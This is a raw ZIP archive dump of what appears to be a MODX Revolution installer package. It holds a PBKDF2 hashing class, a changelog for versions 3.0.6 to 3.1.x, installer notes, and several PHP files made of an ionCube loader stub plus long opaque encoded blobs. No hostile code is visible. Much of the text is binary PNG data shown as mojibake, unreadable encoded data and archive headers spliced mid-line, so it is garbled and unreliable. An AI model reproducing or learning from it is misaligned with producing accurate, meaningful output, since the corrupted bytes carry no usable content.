FH6GVmtOhqrQZEMNdunqfp9h2SI4tUi9T6gGkm6sE1jzPi8S9yBHSQDnTcakbk/ZmDhTe7nNU5FD BfB32gcV9xgVfC0xWyRZ2gXHaj7FDc1h7BqCgiCfKWIVumUVImbS/v/jCm6FYWY/JEJ2ca+O7I0U 8ik07MUOg1jYstuBMNQwLfvWo0Y4UnTRgF+U4ewiqtxTpWf6At5IQwNJ1F/AvYo2Xp9ZWR1GP7Bv +eBsufKCzPh5q2JW8MWYhXn7AfX5tYy/J7Ks6iqZkxtbbjDUEct36TZn3rIB77wK4ZgI9W5aCca5 HYK/34jPPz6KhLphTxq2wCjLgNfSSf70EhhkPuhhlYIdkqq=PKre[Q4 modpbkdf2.class.phpnu[getOption('salt', $options, false); if (is_string($salt) && strlen($salt) > 0) { $iterations = (integer) $this->getOption('iterations', $options, 1000); $derivedKeyLength = (integer) $this->getOption('derived_key_length', $options, 32); $algorithm = $this->getOption('algorithm', $options, 'sha256'); $hashLength = strlen(hash($algorithm, null, true)); $keyBlocks = ceil($derivedKeyLength / $hashLength); $derivedKey = ''; for ($block = 1; $block <= $keyBlocks; $block++) { $hashBlock = $hb = hash_hmac($algorithm, $salt . pack('N', $block), $string, true); for ($blockIteration = 1; $blockIteration < $iterations; $blockIteration++) { $hashBlock ^= ($hb = hash_hmac($algorithm, $hb, $string, true)); } $derivedKey .= $hashBlock; } $derivedKey = substr($derivedKey, 0, $derivedKeyLength); if (!$this->getOption('raw_output', $options, false)) { $derivedKey = base64_encode($derivedKey); } } else { $this->host->modx->log(modX::LOG_LEVEL_ERROR, "PBKDF2 requires a valid salt string.", '', __METHOD__, __FILE__, __LINE__); } return $derivedKey; } } PKre[* upgrade.phpnu[1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo('Site error: the file '.__FILE__.' requires the ionCube PHP Loader '.basename($__ln).' to be installed by the website operator. If you are the website operator please use the ionCube Loader Wizard to assist with installation.');exit(199); ?> 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 AbouHqTRP2VeWRYu+xSB4W19tItdfDJAKEO=PKre[ ,;images/modx.pngnu[PNG  IHDRtEXtSoftwareAdobe ImageReadyqe<iTXtXML:com.adobe.xmp Y,PLTELvCSrOMlN}PQ6-g>[MQdX9v❭NK4wO0qݢSIJaMUL\H.'rqd֏jw7UҴܣq\6%#R·e=fNFAŶUqhZ\W![GvWUFDOKR`G|T@0rA:NSeHۅaiGF~:BIDATx̜{WJ*(=r X୊J=m/|L&xV7{NM5k-ND!>A:ρs`05@YO& ̹ BLXxM`" ,Qm@n8 ڀ@S:_M )m "  ɥ2h"DHYR,+u][֝MPb8Xou>õyggmoXoߠu kgAbZQ/˗g0?rҢOb12E-K^Lj64dmuϖ#_i*~l%'  rt6 ptb]I d@NjȊE$n+vIxLUɽ6Q;Dh,I 1q>$& 1PÍ`8Zt8N`TT2D ='EF0_i, D=~brrL2M`0ST>~/w爏PY,dt ~f@akLD3}\|Fp8"5r&lŲyB"90<b@jcvL:(,aQ4H*$Z5{-f$v3H5xR cP,RVaU$C(Ĉ1k(@p]r1"l`!9Vɡ?wހˢ3dz@JaSk$"t(: b|bh6dv;Yx)>B.ƚ Hڈ`f ݚdS? 0$5BWfU;LDH fvs"xokr8TڅT*/8U|y$mh3ŝpΈ `<$\N ͐AC(فtoFqXzQ;|Hbbqz>~MnQN^ADX|BwGS0h! v  C^?b1 4(Buvir 13׮B@jsXq&4T/'t!ÈDP,)@ntu}gHkb"PtFU'^HbR'^%n}P2f E0J fWo+Gw$b+dӐgrŧ"$3hzyL vRNmX0ָ=AYF/=Ce ?f6h2rV|B:`k4O. Z*=:P :&FлOB(* a3\#r *(8sU@y-e<`1sPbz'cO &?T~D&\ ZAqm4NG @QHOT:u@ W¥\ !iˆɷW} D¯ۅ`>?AA`9p0KK?49:x8i\jg0c0 nV'ggqΎhrꄇ TgZ!$\Q>UۡHa6z>?sE`NK O_9AS~X*=xcDR ae42 l9{P(u~aM,$-@\"L3 “p2@Kl0?S[N7k4%cb럷6,%7jX L;WtZ"s_\@:pv@N'&d,gzRÙxX{hvA䶢Z~÷doPbL$qRVTg=%%;wQl0愽*?8jFfL՞8j B,3CwsՂ62c gwǜG3$< Y%v`D5-`57X=hpL\e`8H€X\ + +8_ crVKdF]0RhNiZ)@DZGfenFLݤ0=v8߂!Ȟp"I 6`PDuEy#3|NmZ~P!q(kAYJip*`6XbA.[td9|%qyYo16J{`/SQLJB!$T 3[ +0j|\>}u!Lp;1L fKBIR6OicOoQ;)>z=K":/hb/eWP@y{auOj@ڄЫb~U.B)m7m/[S+S/aμEzEC#ЫAſwEiTIf@zJ dYoʽJ۽>~=L}}@DY' n$7 /\^X+Dω9Kg+^x(ыIdӋĠD"m&Ftm XY$J$vBV) ,LLWt?G<Ƀ}]˳D)b@/`@6_"CZ "ٺ {FyCIo@ZѸXbЩ%_4HD`P;%8ȷ1|>WӚu AvBߞQ;pH@7 Ϡ"%|F,\ShSZuXŸF21$1{(gg`kJX#`(C^erӃ3e@V`о1 b!,rMp#8EVWS0@TjEV٘'¦l[$zC򡄕1Kx>p&AZ OxZx} ˙9Eí@3V,w$ Faփ?~rQ TÌQV,s}Z@!xt TjPZ,AqC_DqTt.5҈O-mW -򷙌c=-:+{[ eSA63CQϩ#|u@AtZaA_κ_x_]̓W x j_>|8_}7s3ߣShUѷK[Ì [bX`+RP]at ȔȜ¦y5h<qs 8< ±8f5 ||o@T, hI_ɤ a[[0?pcIENDB`PKre[g`l( ( images/logo.pngnu[PNG  IHDRFll!\tEXtSoftwareAdobe ImageReadyqe<,PLTE222KKKG֑lNVqNtBP[LdڨꬪiaMQ4,-(F2V8xxxeeeЉTK͍e>\ILKSݦ8xwOUjuk׶q8MASml~kY~N%o;T(mj 7hP@Pe1Ŋj  ko;8T "ȷ1C Z;CE˪XV*d&Xk#K٬E#HXBwUj7anw3h)i?P4x_JR}@v`<.ԤxX)ڼ'OU* k=")\`T|\0<(58J j5[ OAWvEt/%>{ŽGq)OزǨZLV^Z ^"QcT]L1=u-ԯ=ziA˫Z< .##j<"0 TZT˅{EC&R=jl~XʰU%G 1s)6 ~M%`]g{) Gl!f'O; co#b+F/ƵՅ]>\|+3IBJIdGFcHv'Q|oZ:o(LZ EDȱ6gff./s`yX :]d1WNoJE#5=*A yF?g1V\:NRK +XdTfG<7%Ujp7:o58Wk(c{I) U]&34xQU"Al+՟WϫRQyHr>KXjnnOR;4gtu*+Bet_%~hp7mL:L՞$,$tq6ao:*lEhwV;!=µyL 'G!;.-=EʬTZ}S.j8DEV QHb_OuvN˨2B ęJۖjYCI )$3ZܓxFC){\w&XڑT),LAFT)zjV`}89P1*NaH* V-* )ž15'l*(U Ϗp=Z*1G8UCXkCE,sessionid and do not set value (#16697) - Update superboxselect.js to version 1.6 and add HTML entity encoding (#16702) - Fix manager menu for sql_mode "ANSI_QUOTES" (#16680) - Fix namespaces getlist processor when cache_db is active (#16681) - Fix Remember Me login feature (#16685) - Fix datetime settings keys (#16687) - Fix navbar z-index (#16690) - Fix typos in access Lexicon (#16689) - Fix for MODX updates widget (#16694) - Fix visibility of the Install button in packages grid (#16675) - Fix links not clickable on 3th level (#16671) - Fix display of notification when User password is created/updated (#16668) MODX Revolution 3.1.0-pl (December 18, 2024) ==================================== - Make date display consistent across manager components (#16604) - Fix separator for menu item without children (#16647) - PHP 8.4 compatibility updates (#16654) - Fix saving resources when Date TV has no input properties (#16652) - Add checkbox TV input option to display inputs as switches/toggles (#16631) - Fix user messages GetList processor (#16635) - Big trash refactor (#16600) - Replace use of deprecated date function in setup (#16627) - Reorganize main menu (#16530) - Fix User Date of Birth Validation and Processing (#16620) - Keyboard accessibility improvements (#16613) - Fix Dashboard Updates widget's display of the most recent modx version (#16608) - Fix error suppression for PHP 8+ (#16615) - Fix/improve messages grid permissions and styles (#16602) - Improve generate password logic (#16521) - Fully support comma-separated constraint lists in Form Customization (#16555) - Fix preview thumbnailing for images with ampersand (&) in file name (#16609) - Fix TV Category not found in Template and TV editing panels (#16610) - New password generation method: send user email (#16519) - Fix grouping grid sorting in ACL grids (#16529) - Support dot followed by space in directories (#16578) - Fix element tree in property sets (#16599) - Reveal current username in User menu (#16579) - Add Help! label to Menu Item (#16586) - Fix issues extending modSessionHandler and flushing all sessions (#16522) - Add secondary regex option for transliterated file uploads (#16582) - Fix max parser iterations for resources without a template (#16596) - Make authority a unique index on modUserGroupRole (#16587) - Fix Role Authority Editability (#16568) - Enhance usergroup permission handling and display (#16469) - Resource icons in resource groups tree (#16099) - Enhance textarea tv type (#16553) - Restore ability to render multi-select listbox TV values by selection order (#16561) - Various lexicon typo corrections (#16559) - Use modX::getInstance (#16571) - Add OnContextInit System Event (#16552) - Add No Bucket Check for S3 Media Sources (#16496) - Native DKIM capability for emails (#16421) - Do not dynamically assign modProcessorResponse to modConnectorResponse (#16564) - Added proxy options for PSR-7 Service (#16539) - Fix return type for modResource::getTVValue() (#16567) - Log SQL errors during context cache generation (#16508) - Fix errors when hovering action column header (#16484) - Add ability to revert lexicon entries for any namespace (#16447) - Fix working with non-standard ports (#16541) - Fix default value for modManagerLog.occurred column (#16526) - Add missing system setting for profile photo media source (#16515) - Trim context setting keys on creation (#16500) - Fix Element handling from within Categories tree (#16489) - Improve file system error feedback (#16479) - Add session garbage collector check (#16448) - Fix saving time for date TVs created in MODX 2.x (#16505) - Clarify message when changing user passwords (#16502) - Make “root” a reserved key for Contexts (#16475) - Make sure left margin is consistent when expanding/collapsing tabs (#16406) - Only show resource types in template picker and context menus if user has permission to create them (#15893) - Fix template picker to avoid errors in certain edge cases (#16400) - Add grid filtering via URL parameters to most grids in manager (#16369) - Remove deprecated fields from modResource (#16187) - Store last opened media browser path in browser history / URL parameters to re-open last path (#16394) - Fix horizontal overflow on Context Access grid (#16380) - Add unit test coverage for modRestService (#16381) - Apply grid filtering persistence via URL parameters to most grids in the manager (#16369) - Fix recently edited resources (sub)query (#16460) - Fix ability to view Manager Actions (#16473) - Fix PHP Fatal error: Cannot declare class modTemplateVarInputRenderText (#16410) - S3 Speed Up (#16438) - Fix active tab state for FC when disabling regions (#16401) - Fix deprecation of dynamic properties (#16440) - Fix ability to rename content field (#16444) - Add .nvmrc file targeting same build version as github workflow (#16478) - Allow missing namespace in select areas via phpcs (#16470) - Settings grid adjustments for Extras support (#16414) - Add missing namespaces partition to cache refresh process (#16431) - Avoid errors and incorrect listings in Trash Manager (#16433) - Optionally pin "installer-entry" to top (#16435) - Avoid deprecated notice in modAccessibleObject::checkPolicy (#16443) - Add names of elements in context menu (#16449) - Change order of variables in config.inc.php (#16451) - Fix return type in GetProcessor->initialize() (#16462) - Fix class_key in modDocument constructor (#16452) - Harden Security/Profile/Get processor (#16437) - Add guard-clause to clearDirty method (#16404) - Fix date TV parsing bug when time is hidden (#16398) - Use Codecov in informational mode (#16397) - Add missing language string 'WebP' (#16416) - Populate scriptProperties in Resource\Locks\Steal processor (#16418) - Fix undefined global variable $_SESSION in a CLI connector (#16422) - Add missing OnUserBeforeRemoveFromGroup and OnUserRemoveFromGroup events (#16423) - Remove Unused Window Config for Lexicons Grid (#16392) - Prioritize exact matches in manager search results (#16388) - Update minimum PHP version to 7.4 and recommended version to 8.0.0 (#16405) - Use proper alias when not set explicitly in modRestController (#16395) - REST service case insensitive sub level search (#16276) - Upgrade legacy modSessionHandler class references in settings (#16379) - Modify (un)delete and (un)publish processors to respect syncsite setting (#16374) - Update uploadObjectsToContainer method (#16196) - Add resource alias in template picker as needed (#16361) - Add PHP 8.2 as CI target, include php compat checker in phpcs, and fix some minor compatibility issues (#16327) - Skip files with specified extensions (#15479) - Add filtering for ACL policy and policy template grids (#16219) - Fix fatal error in package provider if the provider returns invalid xml (#16326) - Suggest installing the PHP Internationalization extension (#16365) - Provide global control to set autocomplete="off" (#16225) - Remove unnecessary settings for uploaded files (#16349) - Support multi select in MODx.Browser when multiSelect: true is provided (#16348) - Fix and enhance UserGroup ACL Permissions Grids and Filtering (#16355) - Cleanup legacy PHP version references (#16359) - Prevent OnResourceDelete from firing on every Resource update (#16328) - Fix "Undefined array key" warnings in modPhpThumb (#16341) - Fix package manager showing only last version changelog (#16354) - Fix tab tracking error in package manager (#16360) - Fix tab tracking issue for plugin panel (#16364) - Only post coverage comment when coverage changes. (#16358) - Fix parsing modifiers when encountering literal brackets (#16302) - Fix parsing long template tags under some conditions (#16316) MODX Revolution 3.0.6-pl (December 9, 2024) ==================================== - PHP 8.4 compatibility updates (#16648) - Replace use of deprecated date function in setup (#16627) - Fix Dashboard Updates widget's display of the most recent modx version (#16608) - Fix preview thumbnailing for images with ampersand (&) in file name (#16609) - Fix max parser iterations for resources without a template (#16596) - Various lexicon typo corrections (#16559) - Do not dynamically assign modProcessorResponse to modConnectorResponse (#16564)PKre[ 8jj import.phpnu[1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo('Site error: the file '.__FILE__.' requires the ionCube PHP Loader '.basename($__ln).' to be installed by the website operator. If you are the website operator please use the ionCube Loader Wizard to assist with installation.');exit(199); ?> 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 lSeJdJ3LCRYKjEQpRgkUUdznB5TnK02FldseOme=PKre[ notes.txtnu[1) Do not delete [[site_name]] from table [[dbprefix]]site_content, keep as it is added to show some content on enduser page. (Not needed since 2.5.0-pl since default content is added by default) 2) The password encryption method has been changed so 3 files 'modhashing.class.php', 'modpbkdf2.class.php' and 'xpdo.class.php' are included in the install.php ( This files are not required in install.php from 2.7.0 but we need it for edit.php) 3) Do not change this files 'modhashing.class.php', 'modpbkdf2.class.php', 'xpdo.class.php'. 4) Do not change "background-image: url(data:image/png;base64," in table [[dbprefix]]site_templates since these are images encoded in base64. Let it be as it is. Since 2.5.0pl. 5) PHP REQUIREMENT LINK: https://modx.com/download and /core/vendor/composer/platform_check.php(Composer Dependencies require PHP 7.4.0) 6) Give writable permission to manager and root folder to check config.core.php changes. 7) Before MySQL 5.6 Full-Text table type is supported only with MyISAM Engine(Full-Text table type required by MODX), hence removed the innodb engine, default engine will be assigned automatically 8) Languages have been removed since 3.0.1-pl User needs to change languages from Toggle option from admin menu. https://docs.modx.com/3.x/en/getting-started/upgrading-to-3.0/manager-language 9) Check and Move /manager/assets/ext3/adapter/jquery/ext-jquery-adapter-debug.js /manager/assets/ext3/adapter/prototype/ext-prototype-adapter-debug.js /manager/assets/ext3/adapter/yui/ext-yui-adapter-debug.js manual to original zip.PKre[C upgrade.xmlnu[ setup hidden core/config/config.inc.php manager/config.core.php connectors/config.core.php config.core.php PKre[#S.. extend.phpnu[1&&$__id[1]==':'){$__id=str_replace('\\','/',substr($__id,2));$__here=str_replace('\\','/',substr($__here,2));}$__rd=str_repeat('/..',substr_count($__id,'/')).$__here.'/';$__i=strlen($__rd);while($__i--){if($__rd[$__i]=='/'){$__lp=substr($__rd,0,$__i).$__ln;if(file_exists($__oid.$__lp)){$__ln=$__lp;break;}}}if(function_exists('dl')){@dl($__ln);}}else{die('The file '.__FILE__." is corrupted.\n");}if(function_exists('_il_exec')){return _il_exec();}echo('Site error: the file '.__FILE__.' requires the ionCube PHP Loader '.basename($__ln).' to be installed by the website operator. If you are the website operator please use the ionCube Loader Wizard to assist with installation.');exit(199); ?> HR+cPqdpeDwtOHaHMYmr/Qk1KvrxaIlI+uc4rgYi3VrV5r6ABMZUWdLmXqvNsoQ1Mngln5wOVSd/ rOKHf+QEkVHTYhRe7Y4uHWat5Wx3d+zqoew34B9DmlWQo538R3Ic8VOc9YZYNdaIHFQhbEECJnGA We2CddzU8PfGmU9WC60L91X74NXEJWWUEmNE6KyYEIYZ7RRAa1lQ1VyFN+byNt9gSsx580MD/kSR jajSUOaDZGPNYzHDvZKNUrsnoHKqMNqTeoLDVUAr+kPQ2CWgLPOoRj1m3WgAcgC5b07NjG5+Xd2j eL6buGX3NPbQYvOfV3HLnA5qtCmr+tZppFPVQWYcYDmKhOXHsn9e0iN+wAaY5omY8VKb8f96I87f jJu6pONYnpgG3Yk+l/PeRxRSOIRX/BpnJwho/XuV/p9tsivbaKO/uqIREfiCY2Ninmd8Ny7n1I8f hjQ+tnF5QSTl9HZPuu1EfbfhyRfhM0jmKZE5ddzgzfnTrhna18NnGz3U3/n60rqflAUqifZcb4FV y//8eNIy27gw0XUpOfoQXF9QK1xQy2lC8k7URTijmw7BfYp6ZojcjFN+kd6xIMk65zVoIIhcd9+5 mh53PdEUv1Q3MLsCWNzWUkkIqd6ZQ0HUky0izlRI+GeFXrgciuQNOPTgUmlm/k/hp3VfcFrmT3ac KmKhYyRnBEO/QWXGvK/Pq71TWSLRLJOEDDyQR60005SZjkVnCcgmkwutOocGeohlLGmCggkCYaTX Z5nkuuGq2Q0bMzfl4s5uEItSjWPiM4x54o2PnPAd7UXM1iBoSu4YlT0TrpFFuuxWN6lCStuVgNny gtq2OhABFlWcQybqoDrENg8u79e0zIma/GvNVe2Zn0zhFYBKDEdEQCyBEt3iTENsPe3tSm+9+Adm 7ZW7BtwMx65lwCQBmg6FJ9MK0bO2MjU2H9JdBEL3dn20Of+dN40GXoJOHXv71ocpnOXv94wY11yG Lp4raehBPdFRtgg7PJHPWh5Aa2QM7Zle8I6HkxheX8TG4cbQlYFNip5DOYplFMTyHm3nzf02IaB6 0NuFf9a6PwzhuDsNNZuo2otIAm2ayBA1ONRibf+groiP75FGf/x/sQ947aup4lx4xPkPMdZj/Nka f5dm8CVlrd6AmneKedvYlX+yaEibQurgvi+jI6MI56IQl5SBIGVG5K3JYM+cTRwNHtzeBEyv0qVU ExlmCT1uroODS0NNKHoic1wXLkKK0fPhs1uJySOKCNmzHTxUsW4dToKwH5Qwa/IDj4jY8NXGbokr aT2Q6ascB16mcQz5afWxUybb+1UywYDBp39ie0UsRtMsYp/TW3sZSHjK/rQ2kW3IMN6zp+2zg/FH 7psQAkoJPFovE3urFPsY+ZNO+DGdJ2MT1NQGue+syDwPyZ1xaqB2pnAvh971SiL5YvZlQKRCvow+ NOQVVCCkAL40xp+8iZxmiHcQzVBfrz1d8gNujoGVsS83Fzv+OmJmb6EElrS4/7UNTG8EgD8Ubybe 8nYZTH9shwLPZZwXQbguJN7R2smXS2cb4+bhyjebaBfQWINP+BRCG+y7ip1W4znsyN/Ki1cowilk 